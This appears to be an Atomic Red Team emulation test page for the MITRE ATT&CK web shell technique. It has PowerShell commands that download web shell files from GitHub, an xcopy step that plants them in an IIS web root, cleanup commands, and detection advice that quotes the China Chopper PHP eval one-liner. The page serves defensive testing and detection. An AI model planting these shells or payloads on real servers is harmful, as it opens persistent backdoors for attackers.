T1505.003 - Web Shell#
Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)
In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. China Chopper Web shell client).(Citation: Lee 2013)
Atomic Tests#
Atomic Test #1 - Web Shell Written to Disk#
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - tennc/webshell
Supported Platforms: windows
Dependencies: Run with powershell
!#
Description: Web shell must exist on disk at specified location (#{web_shells})#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\T1505.003\src") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory "PathToAtomicsFolder\T1505.003\src" -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp" -OutFile "PathToAtomicsFolder\T1505.003\src/b.jsp"
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/tests.jsp" -OutFile "PathToAtomicsFolder\T1505.003\src/tests.jsp"
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/cmd.aspx" -OutFile "PathToAtomicsFolder\T1505.003\src/cmd.aspx"
Invoke-AtomicTest T1505.003 -TestNumbers 1 -GetPreReqs
Attack Commands: Run with command_prompt
#
xcopy /I /Y "PathToAtomicsFolder\T1505.003\src" C:\inetpub\wwwroot
Invoke-AtomicTest T1505.003 -TestNumbers 1
Cleanup:#
del C:\inetpub\wwwroot\b.jsp /q >nul 2>&1
del C:\inetpub\wwwroot\tests.jsp /q >nul 2>&1
del C:\inetpub\wwwroot\cmd.aspx /q >nul 2>&1
Invoke-AtomicTest T1505.003 -TestNumbers 1 -Cleanup
Detection#
Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)
<?php @eval($_POST[‘password’]);>
Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)
File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server’s content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)
Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)